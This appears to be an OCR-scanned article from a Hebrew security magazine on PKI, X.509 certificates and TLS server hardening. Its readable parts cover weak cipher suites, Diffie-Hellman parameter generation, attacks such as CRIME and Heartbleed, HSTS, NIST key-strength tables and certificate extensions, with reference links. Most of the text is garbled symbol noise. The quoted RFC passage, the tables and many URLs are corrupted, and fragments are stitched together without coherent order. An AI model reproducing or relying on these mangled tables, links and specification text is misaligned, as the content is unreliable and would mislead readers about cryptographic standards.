Pxopx o rx g o s o o 4T x4, T
L X L s wIox Jrewocatio x ¥ § 47y ix o oso 4 Xs D& 401X
XX, s.{-{LA/ZsJV,,.|~Ms;x :~,,s
1+ X . _ox X sS4 S 4L Xx Ly a0 X s ) Tx 17 DNs g4 X s 7 Xs
_('|x”-| x s . .S
.+ 11 _ © 7" NameCortstraints* PolicyConstraints , + = * * 4 _ T = x .,
JX oA XL s 0 T4 OIBs LS, S AN ax o x T
A A (st ) e I T s X e
1717 4> v d 74 sx 4T dw{!l codidx L,
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PKI Jov
1 hashs

Lo r CGA:
114 L
x 1+ A

Safari Edge Fjrefox Ghrome

X4 LY X 1 4. X
Sx 71 x « MD2 F o hash Yo kT (L x ] 3 X 4
P4 w7 X X 1w oxhash £ AT &G X s 2 4 sy
111 _ ¢ hashckdlision x~s. {1 4 LY X « X DX hox 1,449
S .« x 7 hashi: 4s"sxCl ¢ {s”Iashsr X w Jo 4L 1Y - x
Y CATRN A s A4S _x 1 s lox B A T S R
. ' X hostnamé x s " x 7 ¢ X
Txy ooy 47 b sX s xS «4s 4., ]x¢

lhashs (+ « Lo xx,POC A ) xs  SHAL-X 4 Jx )4 x Tox 1L gl x| s
Txo s v qds g x4s HTTPSS LpiY) T X ALX ) esid oy xx oA L PX e, s
x0T X xk X4y SHAL s >0 s I F Cx o, o \e x4 T A R A
-7 hashi 1 x 94 > X, {s s X[F« 1.1 Dol X ve s Tox
|XLX =v XJ”
s " x | " TBES, ¥ 1 X« L X oL _ s
R x]% s {xXv 4 «XTLS ¥ ] 2185 xsf, 1| s {1 s L T xox ]
* x| 1 s ex px s ] T Cos SO O ]
Lo x 1
L s sl g st s X X b e 1 d Y] L8 A 4T e e s s
(e TS TS L e X XX, T R), XX 0 LD oSS
JL,ooexs T xex A | XX, JBS e 1S X SeoXea 1 8 A0 e VXL ae
B I R
:ChallengeResponse . * « x 1 x
x 4L s oxs O D s xs 6 % Jx | KGhallehgeReSponsa x « X 1 x .
L x 1 x s Jos _ X ox ox o Hxs$sSxoy I HxT] s A X o
\.|s’~ s | x L x X L ‘.|> . . L ”~s I X% s " x | ”s
Tl rxysUx o ox o Xeoos X x|
. Tx0 N , 1 X ChallengeResponse x 4 « s fx .0 x 1« 4 4 %
X o x s 7 S Is o™ L~ LS s],,iwsv 15 1:\v~|_-|v S , 1 XLy X . X s
17174« v d 7 - sx 4wl c X Lo,
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yy

2020~ * x 1 4227 x { [ ¥

4.
- e
T[Zx-|~“>‘.‘x'| _Z¥x,,v“-|”‘ X . x s ¢ . i « L F|{,,J‘,‘Y]’X~L$" .S DS .
osood . s 1 ssting S SAdLes ol T4 o4 WX axs x X
X 1OX o« X 1X o« s X x X = x s 1 i s . . (slx x
1T+, % «4 ¢ 71sstring*™ 4R+ s T4 sy 27 o _string . . 11
o x 1 x s ¢ Z\T[,,-|~-|‘.,,)~s S
TR O P IR I B S X« _ ~ *ChallengeéRespbnse 1 x « XX x . o140
1 X B 1M A A ds TXoxos{ X
TJLS _ x _ 4 Yoo e xsa™ i x o, DX T 0
T Ay 40 s 400% ¥l s 7 X XX, X
.o r Ao e e e X T X Y] Ll Y] KBOGT X ATV T A
N I VI S T foddyd4ls s 4 1s L Ixfes ]
PXoe g ¥Txg sy o x 13 4d 41, X L x ] (..ol xw o x 144
'I'I” _Ivs X 'I‘-S _IHXHYH X X
T ¢ L ix 1w it I xs 4401
o xBlr e x B4, p xS .S L ox o A rdidy 4 s s 4
. S L X X s € . L X v X AL s ¢ X x | g d: . ss X N
O . X o, x X X P41 AKXy Sy x4 X Sy L x T8 oot
P X T X e x 4 g X
ToAdY 4l s 41 O
s € ] L |_ X . XS s X 14 1 % s S L] ox N N x
X ox o hx o s s O X gl 1 s KGR ] X, s o4 1s
+F S tdcddyd4ts s 40 s Tx 7y D, 0 X 4 o x DT 4 q.
17 .17 4~ % 474 sx i1 HwLl g x T


https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%A4%D7%9F_%D7%A1%D7%99%D7%9E%D7%98%D7%A8%D7%99
https://he.wikipedia.org/wiki/%D7%9E%D7%A4%D7%AA%D7%97_%D7%A6%D7%99%D7%91%D7%95%D7%A8%D7%99
https://he.wikipedia.org/wiki/%D7%94%D7%95%D7%9B%D7%97%D7%94_%D7%91%D7%90%D7%A4%D7%A1_%D7%99%D7%93%D7%A2
https://he.wikipedia.org/wiki/X.509
https://he.wikipedia.org/wiki/%D7%9E%D7%A4%D7%AA%D7%97_%D7%A4%D7%95%D7%9E%D7%91%D7%99
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ServerConfiguration
XL X Fd- 9 oL oXx o« X
L B A N IO VR S LLdooes L SSSH v X~ xd X ¥
x d e x o X Fdos o x  TUSEIXTLEL24 4 % « X KX 0 LS
Internet ™ x ¥ 1) 117 7 A~ k4. A4 b T B
S 147 TeSLOwtL -~ _ , ~ 1t {1~ xXBExplotedlG 1 x ~
"TLSFALLBACKSCSY s * 1. s s « legacy  AXisxiw X A4 . X 47 x o { sy
1 x <downgrade - * R
L T S I T R S
- v STES, kiphersuite§ ¢ 1" cipherd 1% 4 (¢ <L ™ _ X . .
GCM 7~  x < *x  x A L sy X v L A L1 s
r 141 x _  +légacydlientstd "s 14,0« L _ ~ | GaloisCounterMdde), : - €
F 141~ 1
X:-{v‘L |_-i\.x3 }_-|">‘S I
Null ciphers ¢
Anonymousciphers
EXPORGiphers
+ 1 « Diffie-Hellman 1 ~ 1 _ .~ * X
FoeoXoe x Diffie Hellmarx ¥ x | 1+, . L 1sX O F
Ao s ' Lo 1~ 1 'EDH X ~'DHE_sx* { @ F 1+~ 11 4 L, -
" Ts oy x s T 0 CHABRY X T D d 7 0L 4 e
openssldhparam2048-out dhparam2048pem
1L 14y 4! s ox S T S O
C: \ Users \ Jonathan Elkabas  >openss| dhparam dhparam2048.pem - noout - text
DH Parqmeters (2048 bit )
. cf :ec: ec: Ob: : d3: : 03: 2b:
1 61: 2a: 97: e7: . eb: . c0: 6e:
:19: 9a: : 80: i ed: cel: 2b:
:c8:b8: 13: 9d: . cb: :d0: 4d:
cab: 92: 4b: 19: ;ac: :56: 5f :
: 55: 53: d8: 33: 1 14: :3d: 21:
1 b7: e2: ccf : : 28: 122 3c:
1 95: 73: : 64: : 2a: 1 89: 53:
:40: cl: . 15: . be: 1e4: f3:
:ab: 90: 16 : 32: 1 C6: : 85: 5d:
:ae: 40: 1 67: 1 ch: :81:6¢C:
:bd: 34: 50: fb : : 3e: 1 46: 29:
i e4: 36: : 0d: 1 5c: 1 7e: d3:
17 .17 4% 7 s x4 T Hw L L L
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c4: :82:1c:c0:cd: 2b: 66: 8f:0d: 19: 7a: d2: b5: 30:
ao: :al:61:92:44:63:77:25:86:9a: 7c: bc: ac: 5e:
16: :f1 :58:40:82: fb : e0: 9e: 38: b0: df : 98: ba: de:
22:56: 17 : bd: 1b: 9a: 1f : 44: 98: 61: 95: a6: f4 : 1f : d5:
9c:

generator : 2 (0x2)

apacheHTTR ngix Microsoft IS = x ¥ | ) el Y " oL WeéakDH It 4 Xx ] 4«
:DH 1 - | P s ” xgpatheTomcat.- * (' x
https://weakdh.org/sysadmin.htmi

s 411 Lxqqx
s L XGRIME s " xiIx_s{Y {1 ”  TLScompressioh” - 111! e A sy
S X DL D e _wxxIS o qsl({{ CabkiessTx Y Is A4 Y . 14 L]
« . Ss o Dx 0 o Cookiest XX wr ATTXBBEXW {1 $ 0 x 111
I JavaScript

x4, - ¥ x 1 patehing - x 1. |
x s olx A, X x4, x ) TESXSSHXL XX X 41X L 1X T X, 4 Y
L RS Ll ~ Openssly:«{*q{s, X - x  Hearthleed~ s « TLS-SHL)
x 4 . s clhxx o X 1Lt x 4 X s x LS P IHHP ] C X

> v ~ ~

x 4%y 4 xpatdhing® s T XIS 0 x L

. S X A Xy A . ”oX
box ox oy x0T ] teste X ST XAGH T X x xS X 1 (L1 . xS
e x e xS x4 gl xs oo 0 v 4. Ox 0 r e
Onlinetools:
1 SSlLabsServerTest
1 Observatoryby Mozilla
Offline tools:
1 O-Saft- OWASF5Sladvancedorensictool
1 testsslsh- Testingany TL$SSlencryption
1 SSLScanFastSSLScanner
1 SSLyze
17174« v d 7 - sx 4wl o ddx 0

www.DigitalWhisper.co.il
dn 2020, * x 14227 x { [ ¥



https://weakdh.org/sysadmin.html
https://www.ssllabs.com/ssltest
https://observatory.mozilla.org/
https://wiki.owasp.org/index.php/O-Saft
https://testssl.sh/
https://github.com/rbsec/sslscan
https://github.com/iSECPartners/sslyze
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S 4. q4TLS« % _ 4
cr s AL e XX 0 0 X o A TES A X ss o L Xk " AL exx

b4, sTLBE X s

~v o~

+ 7 _ 1Checkout xlogind ! x ook d Ay p A TTLS XL o S e oo X
1Y .osniffing w0 x b Cs 0 O GPLS xid psd Ak e ST X e T A
by ™ T x ., 1+« T x  responses 1 1 JavaBckipt 4 + € ssessiogntokens =~ x ¥ |
ot s
yynt.x X pHTTR »x X 4d0 17 - 474 o -t v v DX 1" s
- " _ HTTP301 permanentredirectr o1 . x X4 ]S Do 17y 4T,

header @ x . _ « X s ¢7X4 {f xx_lIs|

e s AP 40 w40 x4 s X x

I .~ 14 x s 4y HTTPStrict TransportSecurity HSTS v 1! 1% (
HTTP
TLS o TLS ~ ] x e o ox o,
Dxo o« X b 4 CSE WavaSeriph % 1) (k4% | TLS m o kb v XX T

£ s

x «  sgessiorcookies. sniffing |, « *¢ X T . v v A CX LHTTPY L, X .

-Ilrl L-IA> =JX: =XA-|L :X”X'Iv'i” X."IVUX'I“I-:‘I“‘lﬂ”cﬂgx'v\)ﬁ_d"
1T 1 x o p HTTPL 7« x
nSecur® cookie . ¥ ! L. s

1.1 N 1 x fsecure® attriblite, 'r L, .~ *X’«_ x  cookiesss 1L 1T x |4 .«

T CHTTP xisrifing ©ox 0 47 xS 0 0 HTTRSL 44 1 x|

~

activeMITM _ « *4 L xx: HTTRPYy ni 4 X

x
—~X
I
-
~

¢

. L , o+ v S X S L, o« x

Lo s L. ~-x*4 1y il spodfedwebservet ¥ L f 4 L X ¥ {4 .5 X

1Yy . cachinge (17
I-S Y”X I-'IHX:" LA S"YS LJ ~ L X"-I-H.S'_, ‘-:Xxsﬂv,Ll-'I"xX
oo Lo Tx 1 s Txo, 40 TLoAxx . S xd st 4 x|, s.©

JLS 1 x 7 0 x .idterceptingdroxiesy x | s4 ! 4 X .

1717 4> v d 74 sx 4T dw{!l codidx L
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= 0L DX HFTPL_header* L _ s u 4, ixxxy x40 Tx
b Te e L o ST s e X T Tse e T T X X
s X x y I X HFTTR«_headerss @ .~ ! ys {1 4 [ I +¢ y{

CacheControt no-cache no-store, mustrevalidate
Pragmano-cache

Expires0
HSTS x4 _
HTTPS 4 -~ ! . irequest. ! «* 1 14 _ 1t 0 _ HTST, ¢+ T xL _| 1 ]Sxs 1
HSTS - is Lo, D G IS S oL ZxIxA:L Sy ox 7X X, 80 (s
S « ¥ s X% « X . L
HTTPStrict Trangort Securitycheatsheet
1 X « L X Dx lox Lox
, s o x s ¢ Con . Lot L Lol ox A 1 XTLS st A ..:v":v~ L K -|:v,,x~) {14, %s .. O
x ¢s s 4y X X4 .o X _ux 1 x 44
x "om ] % s 1. A X sl X L« s:)_|,,'|x‘2<|_s Lox s G Lox i+« L
(’_)Z,, S o Xox | .« X S
domaine s« _ sl x Ty 4 s interception | Xt AT L
s Lox P P L X I X s ¢ e 14 1 x A 1 X « L S s {1 .| L L
FLS " e A AT e XXyl s @ x0T e ATeX a5 L
174 v LT aseSs L CAPXLex DXL x 1, P S
X A ~ 1 X *x ” X . x A X % X | . x 15
X A X X 411 ~overheddy _ 1 x . X v XY 1x 9 x 1 ox
dIx e box Ixlxo N N L . R
Jxwes  Dx bxe b D 4 e TS AT ) 4 4 e A
..o v A s e TAPKS ) X o s Xy ] X)L T, X Coxboxe Lo
X XY o X DX o ~ L] FS (S T T O R 1o DU S I N Dt P TR § IR

(AR

. X7 cxxsq4 s 7 xTLS I s, ¥ [ S N ‘. S ¥ x T
X' UXTUSAXTXX AKS I 4. s L L.s 1iAlxsigqs xc¢
S e S S I I S B\ LIRS S0 NER: (0 B R I

I U R U S T A ) IS S S SIS B [ 1 SRV S TE | B
PUA T Ao dx.  ddust clx Aux 4.

1717 4> v d 74 sx 4T dw{!l codidx L
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https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html
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s x " s ,, X (X X | X X

FATYx oox 4G9 X ] o

1D s A sl Add e s et XA dHAA T T e s XX
key,:-||_-|-|y-|l sv-|2'| , - xs ¢ va-|\ ,s">‘s ZvnyJ |

FoeXe o ox T e X e X S XS ] L4 e 4 140 s t L wlapping X s X s X

- q X Fox ) kx4, 0l o« 4, xS % 0 x” A4 s Ky
NEERN
vLservices -, . . o~ L LY X 4 s o xixo s X 4, o X L
source -X integrity authentication - « | | _ cd e 14y A s 41 L. L FsX
414 4.1 _4, 1+ _x v sy T 47 . authenticaton s ! 4 14
authenticated - L x| | N IR AT SR T | IS RN s Lox X P4 ox o
(xS x<© Ix1l., " I xepctyptipn s 7 . s

1, 1, cx T A e X XY e A4 1A o N T B B

~ v ~

cHAHA~ _ o NST I )

ECC (ECDSA, EdDS| IFC (RSA] FFC (DSA, DH, MQ\ Symmetric Key | Security &ength

DH, MQV) Algorithms

f=160223 k=1024 | L=1024, N=160 2TDEA <80

f=224255 k=2048 | L=2048, N=224 3TDEA 112

f=256383 k=3072 | L=3072, N=256 AES128 128

f=384511 k=7680 | L=7680, N=384 AES192 192

f=512+ k=15360 | L=15360, N=512 AES256 256
1. x o Xx Foed s XYy L X I (- x4 >4 *mpecurity Strength _ A

T A O O T X oo 1 s dlaxe 1. 18X
1 x 4 L x L, ms Xx {7 X | X

1,1 “dc_ 4, ~_ s s1T1*«s - . «nSyminetricKeyAlgorithms 1 ~ 1 _ 1 |
b1 x _ ox 11 x H'; Trple DE$ TDEA- sTDEA TDEA . @ 1~ sl x X 17" §x

St . XY e X 1 s L. x s JAEXXXX 4 X 4 s

~
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https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology
https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology
https://en.wikipedia.org/wiki/Triple_DES
https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
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finite-field cryptography . _ 1.0 "1 s P Folos o x ¢ . ~TMFRCi§ 1 _ .~ s L
A 1. s 1D NXSs {hxX¥d sy 10 LS FAEXE e T4
F o4 . xmiodwusN, - - x 1 sk integerfactorizafiodcryptagraphymlFC
B O
cx o X o e, x> s 4 f Jellipticicurve cryptographytECQA f x - e T A
SO I IR
+ "sécurity strength < 112 1~ | 1L % CX TN e AT INKST YA, e 1 X s
S 411 Ta s ox. g ATxioor s )y el X
pSX x4 s . Lx b1
A S T S N S B I ST S S R SN S S
1,0 s hxp 41 XFEX T {c s X447 slx s Lo 4L, X
Tos U474 SMAH B RSAL XXT % 0 s T NSO T4 LT x
s hox X s 4 n T Ll G X s WA« Iy, XSS dxe Xdv_ L . 1Y X
S L X4 BCEOSAX x 1 L b Y DX L0x o isxoLIslOxe 1T Iixpox
R T I ST ST R A R DX s DX e AL e X
HafdwareSecurityModule) HSM xsmartcard =~ x ¥ | © {4 (s 7 _ X
Dxlx X DX cox 414y A DX o4 1x 7 HIM x s s
17 x4 Iplugincarddl vx + s .~ X \HSMted_ Apvd o x b x o0l . 1X X
: Lo X~ X 1T o x4 A

~ ~ ~ ~ ~

r1«Kash 4 _ - 4., xy > x|
LS4 T x s L 1L, s 1. X« 1,1 1~ Xhaghs + ¥ § {4 X7 x+ ¢ 4]
;L L 11 , S 41+« «7x shashs 4 H# £ < xx{ XSHAZSHAZ >* % H k_ _

DX WE ML, 1 LSHA224 | _

CollisionResistance \ SecurityStrength

SHAOQ, SHA1, MD5 <80

SHA224, SHA512/224, SHAZ224 M M H

SHA256, SHA512/256, SHA3256 MH Y

SHA384, SHA384 M (b H

SHA512, SHA512 > 256

© 1 { SHA224, 8HA256, SHA384, and SHA512) SHA2 1 . _ _* 1 s 4  ix1,

SHAL MD5* _ x _ 4 _  SHA3. L1 ~_1~L R 2

~ ~ ~ ~ ~
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https://crypto.stackexchange.com/questions/34216/what-is-this-finite-field-cryptography
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X L L, |
x4 " g X X L X . I s . L X X 1 X x x | x
Ll box
= X % 11 x | x
SsqLe s A4y Y4 s A4 _4f . +.xy
x ¢ "y ” ﬂxlx
X ] x 1A 11 - X
(samesamebut ) oxs @ i box
17" xyY ., vs T 00X RS L X ~ L
?s ool e ol o wiss o s cw XX ] Xy
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Edit Properties... Copy to File...
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To meet this goal, the path wvalidation process verifies, among othed
things, that a prospective certification path (a sequence of n
certificates) satisfie=s the following conditions:

{a) for all = imn {1, ..., n-1}, the subject of certificate x is
the issuer of certificate =+1;

(k) certificate 1 i= issued by the trust anchor;
(e} certificate m i=s the certificate to be wvalidated; and

{d) for all ® in {1, ..., n}, the certificate was walid at the
time in guestion.

Certificate) @ x I x s 1, ., .o lxx R T
L. oA o4 s L RS, X s e DX o XX Yfidation | L
© x Xxjdtermediate CAs - * ~ _ | X fs Fdex ) A RN B S )
P [ Z-|”v'|v|_ s . s)-|vxv Z1"-|V,,X“,, S v q{ .«
-|x-|v,,x“ . s , X (X% s=‘x“{§vogi,’,’llxxAxZ-|sLL~ LSX« ]~ “,s(s . x~,,><~ Eo
boxoo X, Dxboxo s X TXexX X T
frexo %, XB0Qy3 i.x_IepathLehConstraint s ! * o x o 4s X xZ1k ]y 4~

CAL Coxobox L i . . S ., X

A I S s X 1. s x | x
SubjectUnique,IssuerUniqueldentifier ;. x _ 4 _ ¢ s> = x | mXb09v2: x v | x ] ., x
X509v3 - x I Loxo o lderitifier | 1x .4
Extension Mandatory or Optional
Authority Keyldentifier(2.5.29.19) Appearsin all certificates
BasicConstraint$2.5.29.35) Appearsin all CAcertificates
Certificate Policie$2.5.29.32) Appearsin all certificates
CRILDistribution Pointg2.5.29.31) Optional. Appearsin all certificates whose revocation status is

distributed by indirect CRL®r segmentedCRLs

EnhancedKeyUsagég2.5.29.46)

IssuerAlternative Namg2.5.29.8)

KeyUsag€2.5.29.15) Appearsin all certificates

Name Constraint§2.5.29.30) Appearsoptionally in CAcertificates

Policy Constraint$2.5.29.36) Appearsoptionally in CAcertificates

Policy Mappingg2.5.29.33) Appearsonly in CA certificates Appearsonly when the issuer

and subjectissuecertificates under different policies

Private Key UsagePeriod2.5.29.16)
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SubjectAlternative Namg2.5.29.17)

Optional, but commonly used

SubjectDirectory Attributes(2.5.29.9)

SubjectKeyldentifier(2.5.29.14)

Appears in all CA certificates May optionally appear in end

entity certificates
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RFE5280 Internet X509 PublicKeyInfrastructureCertificateand CertificateRevocatiorList
(CR).Profile https://tools.ietf.org/html/rfc5280

RFE3739 Internet X509 PublicKeyInfrastructure QualifiedCertificatesProfile
https://tools.ietf.org/html/rfc3739

RFE4158 Internet X509 PublicKeyInfrastructure CertificationPathBuilding
https://tools.ietf.org/html/rfc4158

RF&4210 Internet X509 PublicKeylInfrastructureCertificateManagementProtocol(CMB
https://tools.ietf.org/html/rfc4210

RFGE5077. TransportLayerSecurity(TL$ SessiorResumptionwithout ServerSideState
https://tools.ietf.org/html/rfc5077

RF@6844 DNSCertificationAuthority Authorization(CAA ResourceRecord
https://tools.ietf.org/html/rfc6844

RF&4262 X509 CertificateExtensiorfor SecuréMultipurposeInternet Mail Extensions
(SMIME) Capabilities
https://tools.ietf.org/html/rfc4262

RFE2119 Keywordsfor usein RFC¢o IndicateRequirementLevels
https://tools.ietf.org/html/rfc2119

1~ 11y 4, «SSk&-TrasportLayerSecurityProtocol
https://www.digitalwhisperco.il/filesZineg0x02DW2-1-SSlpdf

Sl x . x o 1T 0 v CRSAA 1 X s x4 XSSTLS '« <L
https://www.digitalwhisperco.il/filesZineg0x55DW853-TLSPart1 pdf
DX L X e oy e - X HITPS x 1~

https://www.geektimeco.il/https-part-2-identification/

A SecurityFlawin the X509 Standard

https://csrcnist.govcsrémedidpublicationgconferencepaper199610/22/proceedingsof-the-

19th-nisse1996documentgpaper073paper.pdf

KeyManagementand Certificates

https://www.csaucklandac.nz~pgut00Ytutorial/T2 Key Managemenipdf

PKi The OSlof a new generation
https://www.csaucklandac.nz~pgutO0Jtutorial/T2a X509 Certspdf
FixingX 509 Certificates
https://tersesystemsonm/blog/201403/20/fixing-x509 certificates
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https://tersesystems.com/blog/2014/03/20/fixing-x509-certificates/
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FixingCertificateRevocation

https://tersesystemsom/blog/201403/22/fixing-certificate-revocatior

Getyour certificate chainright

https://mediumconm/@superseliget-your-certificate-chainright-4b117a9c0fce

Overviewof RedHat CertificateSystemSubsystems

https://accesgedhat com/documentatioren-

usred hat certificate systeni9/html/administration guide'setting up certificate system

CreateCertificateAuthority and signa certificate with Root CA

https://www.golinuxcloudconvycreate-certificate-authority-root-calinux/

GlobalOlDreferencedatabase
https://oidref.comy
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https://access.redhat.com/documentation/en-us/red_hat_certificate_system/9/html/administration_guide/setting_up_certificate_system
https://access.redhat.com/documentation/en-us/red_hat_certificate_system/9/html/administration_guide/setting_up_certificate_system
https://www.golinuxcloud.com/create-certificate-authority-root-ca-linux/
https://oidref.com/
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064B3SEC S
osbsree Writable Executable
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